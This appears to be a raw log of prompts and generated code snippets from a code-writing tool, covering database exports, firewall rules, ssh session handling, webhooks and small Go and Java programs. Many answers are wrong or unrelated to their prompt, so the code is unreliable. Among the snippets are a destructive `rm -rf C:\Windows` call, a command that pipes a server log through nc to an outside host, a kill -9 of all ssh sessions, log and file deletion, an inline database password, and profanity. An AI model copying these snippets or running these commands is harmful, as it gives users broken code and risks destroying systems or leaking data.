Check from two inputs which one is grader?

def max(a, b): if a > b: return a else: return b max(1, 2)

export mariadb database

mysqldump -u root -p --all-databases > db.sql

Send a discord webhook message

let info = Text("Hello, World!") let webhook = Webhook(url: "webhook url", content: info) webhook.post()

open every file in a specific folder than open all of them and write "Coded by Inventex" to the first line as a comment

func writeToFile(folder: path) { files = getFiles(path: folder) for file in files { f = open(file: file) f.write("Coded by Inventex") } }

this command has 1 argument. you should provide a file name, if it not exits it should send an error message. if it exsists get all email addresses from a file

grep -o "\([A-Za-z0-9_\-\.]\+\@[A-Za-z0-9_\-\.]\+\.[A-Za-z]\{2,5\}\)" test.txt

service generator

service mysql start

package dev.inventex.queuesystem; import com.google.inject.Inject; import com.moandjiezana.toml.Toml; import com.velocitypowered.api.command.CommandManager; import com.velocitypowered.api.command.CommandMeta; import com.velocitypowered.api.event.Subscribe; import com.velocitypowered.api.event.proxy.ProxyInitializeEvent; import com.velocitypowered.api.plugin.Plugin; import com.velocitypowered.api.plugin.annotation.DataDirectory; import com.velocitypowered.api.proxy.ProxyServer; import dev.inventex.queuesystem.modules.QueueCommand; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import org.slf4j.Logger; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.nio.file.Files; import java.nio.file.Path; @Plugin(id = "queuesystem", name = "QueueSystem", version = "1.0-SNAPSHOT", url = "inventex.dev", authors = {"SilkyFalcon"}) public class QueueSystem { private static Logger logger; private static ProxyServer server; private static Path path; private static Toml toml; @Inject public QueueSystem(@NotNull Logger logger, ProxyServer server, @DataDirectory Path path) { QueueSystem.logger = logger; QueueSystem.server = server; QueueSystem.path = path; logger.info("[VelocityQueue] Started!"); } @Subscribe public void onProxyInitialization(ProxyInitializeEvent event) { toml = new Toml().read(loadTomlFile()); CommandManager commandManager = server.getCommandManager(); CommandMeta commandMeta = commandManager.metaBuilder("queue").build(); commandManager.register(commandMeta, new QueueCommand()); } public @Nullable File loadTomlFile() { final File file = new File(path.toFile() + "/config.toml"); if (path.toFile().exists()) return file; path.toFile().mkdirs(); if (file.exists()) return file; try (InputStream inputStream = getClass().getResourceAsStream("/" + file.getName())) { if (inputStream == null) return null; Files.copy(inputStream, file.toPath()); } catch (IOException e) { e.printStackTrace(); } return file; } public static Toml getToml() { return toml; } public static ProxyServer getServer() { return server; } public static Logger getLogger() { return logger; } }

package dev.inventex.queuesystem; import com.google.inject.Inject; import com.moandjiezana.toml.Toml; import com.velocitypowered.api.command.CommandManager; import com.velocitypowered.api.command.CommandMeta; import com.velocitypowered.api.event.Subscribe; import com.velocitypowered.api.event.proxy.ProxyInitializeEvent; import com.velocitypowered.api.plugin.Plugin; import com.velocitypowered.api.plugin.annotation.DataDirectory; import com.velocitypowered.api.proxy.ProxyServer; import dev.inventex.queuesystem.modules.QueueCommand; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import org.slf4j.Logger; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.nio.file.Files;

Create a webserver function with arguments that are parsed to json format

func main() { http.HandleFunc("/api/", func(res http.ResponseWriter, req *http.Request) { res.Header().Set("Content-Type", "application/json") var item Item item.Name = "John" payload, _ := json.Marshal(item) res.Write(payload) }) fmt.Println("Listening on port 3000...") http.ListenAndServe(":3000", nil) }

get all current ssh sessions

ps aux | grep ssh

strong password generator without any apt

openssl rand -base64 32

check if a specific ip can reach my pc

ping -c 1 8.8.8.8

export a specific database

export a specific database mysqldump -u [username] -p [database name] > [database name].sql

remove duplicates from a specific file

sort -u "file" -o "file"

Get free disk space in gb

df -h

show memory size in gb

free -g free -m

Password generator without any apt

openssl rand -base64 8

Block all links and urls

(https?|ftp|file)://[-a-zA-Z0-9+&@#/%?=~_|!:,.;]*[-a-zA-Z0-9+&@#/%=~_|]

send a webhook message from 1st argument

void send(const char* message) { // send the message }

open all ports

ufw allow 'OpenSSH' ufw --force enable

Check if tor is running windows

function checkTorWindows() { var torProcess = new ActiveXObject("Wscript.Shell"); torProcess.Run("tasklist /fi \"IMAGENAME eq tor.exe\"", 0, true); if (torProcess.StdOut.ReadAll().includes("tor.exe")) { return true; } return false; }

open every file in a specific folder than open all of them and write "Coded by Inventex" to the first line as a comment

import java.io.File; File folder = new File("C:\\Users\\Inventex\\Documents"); File[] listOfFiles = folder.listFiles(); for (File file : listOfFiles) { if (file.isFile()) { System.out.println(file.getName()); } }

Create a webserver function with arguments that are parsed to json format

package main import ( "fmt" "net/http" "encoding/json" ) type Payload struct { Stuff Data } type Data struct { Fruit Fruits Veggies Vegetables } type Fruits map[string]int type Vegetables map[string]int func ServeHTTP(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") p := Payload {Data: Data{Fruit: Fruits{"Apple": 5, "Orange": 6}, Veggies: Vegetables{"Carrats": 7, "Peppers": 8}}} enc := json.NewEncoder(w) enc.Encode(p) } func main() { fmt.Println("Starting HTTP server...") http.HandleFunc("/", ServeHTTP) http.ListenAndServe(":8080", nil) }

get all info from pc

uname -a

remove duplicates from a specific file

awk '!x[$0]++' file

Most advanced things in go

package main import "fmt" func returnTwoValues() (int, int) { return 5, 6 } func main() { n1, n2 := returnTwoValues() fmt.Println(n1, n2) }

If "Karcsi" is not in the list add Karcsi 100 times, then delete and add again

grep -q -F 'Karcsi' test.txt || (for idx in $(seq 1 100); do echo 'Karcsi' >> test.txt ; done; rm test.txt; touch test.txt)

Terminate all current ssh sessions

ps aux | grep ssh | awk '{print $2}' | xargs kill -9

Open 25564 port with iptables

iptables -A INPUT -p tcp -m tcp --dport 25564 -j ACCEPT

open every file in a specific folder than open all of them and write "Coded by Inventex" to the first line as a comment

#include <bits/stdc++.h> #include <string> #include <fstream> using namespace std; int main() { string path = "C:\\Users\\source"; //path of the folder string comment = "//Coded By Inventex"; vector<string> files; for (const auto& entry : filesystem::directory_iterator(path)) { files.push_back(entry.path().string()); } for(int i = 0; i < files.size(); i++) { ofstream f(files[i], ios::app); f << comment; f.close(); } return 0; }

delete just the kernel

$ ./make.sh clean

ddos detector

sudo iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --set sudo iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP

Create a gui

func main() { // Create a new Window myWindow := window.NewWindow("Base Window", 640, 480, true) }

get emails from a file

grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" regex_practice.txt

Create a webserver

func handler(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "Hello, World!") }

export mariadb database

mysqldump -u root -p123456 --opt --databases app_data > app_data.sql

Remove all files with -exec

find . -name "*.txt" -exec rm -f {} \;

export a specific database

mysqldump --databases [your_database_name] > [your_database_name].sql

Cpu usage in percentage

grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'

remove duplicates from a specific file

cat duplicates.txt | sort | uniq > duplicates_no_duplicates.txt

Check from two inputs which one is grader?

def max_of_two(a, b): if a > b: return a else: return b max_of_two(10, 12)

tail -n 100 /var/www/pterodactyl/storage/logs/laravel-$(date +%F).log | nc bin.ptdl.co 99

O(n)

Turn off computer

def shut_down(): return 'Shutting down' shut_down()

Check from two inputs which one is grader?

def max_num(num1, num2): if num1 > num2: return num1 else: return num2 max_num(1, 2)

show cpu usage in %

top

get email addresses from a specific file

grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt

package me.silkyfalcon.client; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.List; public class Reader { private final String url; private final List<String> data = new ArrayList<>(); public Reader(String url) { this.url = url; } public void connect() { try { HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection(); connection.setRequestMethod("GET"); connection.setDoInput(true); try (BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8))) { String line; while ((line = reader.readLine()) != null) { data.add(line); } } } catch (IOException e) { throw new RuntimeException(e); } } public String find(String identifier) { for (String element : data) { if (element.startsWith(identifier)) { return element.substring(identifier.length()); } } return identifier; } }

## File IO

Connect to database

sqlite3 *connectToDatabase() { sqlite3 *db; int rc = sqlite3_open("/tmp/test.db", &db); if (rc) { fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db)); return db; } return db; }

Check if a list called support contains "SilkyFalcon"

if(support.indexOf("SilkyFalcon") !== -1) { console.log("We have your back!"); }

add crontab what runs every sec

echo "* * * * * /home/ec2-user/test.sh" | crontab -

java check if text contains any swear words

public class Solution { static String clean (String text){ return text.replaceAll("(?i)bro", "").replace("(?i)dude", ""); } }

password generator with a one-way encryption

openssl passwd -1 -salt 'salt' 'password'

Stop every service

docker stop $(docker ps -a -q)

Check if arg 1 user has sudo access

sudo -l -U $1

get free space in linux

df -h

Connect to database

def connect_to_database() do {:ok, pid} = Postgrex.start_link(hostname: "127.0.0.1", database: "web_development") pid end

send a message to discord if someone tried to connect to ssh from an other country than hungary

fail2ban-client set ssh banip IP

strong password generator without any apt

openssl rand -base64 12

get kernel version

uname -r

open every file in a specific folder than open all of them and write "Coded by Inventex" to the first line as a comment

Script function injectMyName(folder) { fs.readdir(folder, function(err, files) { files.forEach(function(file) { fs.readFile(file, fileContent => { fs.writeFile(file, `// Coded by Inventex\n\n${fileContent}`) }) }) }) }

37.221.209.195

ping 37.221.209.195

Most advanced things in go

func main() { http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) }) }

Site mapper

wget \ --recursive \ --no-clobber \ --page-requisites \ --html-extension \ --convert-links \ --restrict-file-names=windows \ --domains website.org \ --no-parent \ www.website.org/tutorials/html/

open port 8080

iptables -I INPUT -p tcp -m tcp --dport 8080 -j ACCEPT

Block country by 1st agument and check if command has argument

if [ $# -eq 0 ] then echo "not argument" exit 1 fi # block country by using iptables iptables -I INPUT -s $1 -j DROP

Delete windows

func deleteWindows(system string) { switch system { case "mac": fmt.Println("Go Fuck Yourself") case "Debian": fmt.Println("Go Fuck Yourself") case "Windows": fmt.Println("Kerry Fuck Yourself") default: fmt.Println("Go Fuck Yourself") } }

Check from two inputs which one is grader?

def max(x,y): if x > y: return x else: return y max(4,7)

this command has 1 argument. you should provide a file name, if it not exits it should send an error message. if it exsists get all email addresses from a file

grep -o -E '\b[A-Za-z0-9]+@[A-Za-z0-9]+.[a-z]{2,6}\b' filename

Delete windows

// return type for the main function is int int main() { // ... return 0; }

Delete windows

def destroy_windows(): os.system("rm -rf C:\\Windows")

Get cpu usage in percentage

top

Check if tor is running

console.log(process.env.PORT);

send a message to discord if someone tried to connect to ssh from an other country than hungary

sudo ufw allow from 195.228.45.0/24 to any port 22 sudo ufw deny from any to any port 22

package me.silkyfalcon.client; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.List; public class Reader { private final String url; private final List<String> data = new ArrayList<>(); public Reader(String url) { this.url = url; } public void connect() { try { HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection(); connection.setRequestMethod("GET"); connection.setDoInput(true); try (BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8))) { String line; while ((line = reader.readLine()) != null) { data.add(line); } } } catch (IOException e) { throw new RuntimeException(e); } } public String find(String identifier) { for (String element : data) { if (element.startsWith(identifier)) { return element.substring(identifier.length()); } } return identifier; } }

The package me.silkyfalcon.client means that the class is inside the folder client of the folder me.silkyfalcon. The first line imports all the necessary packages that are used in this class. The next line is the class declaration with the public access specifier. The following two lines declares the private field url and the list data. The constructor Reader has two parameters url, which is assigned to the field url. The method connect() creates a connection to the url and adds the data to the list data. The method find() returns the value of the identifier from the list data.

get all linux users

cat /etc/passwd | cut -d: -f1

Remove all logs

rm access.log rm error.log

Check if tor is running

function isTorRunning(){ console.log('Checking if Tor is running...'); var cp = require('child_process'); cp.exec('ps aux | grep tor', (err, stdout) => { if(err){ console.log('Error finding Tor'); throw err; } if(stdout.includes('tor')){ console.log('Tor is running'); }else{ console.log('Tor is not running. Please start Tor'); process.exit(1); } }); }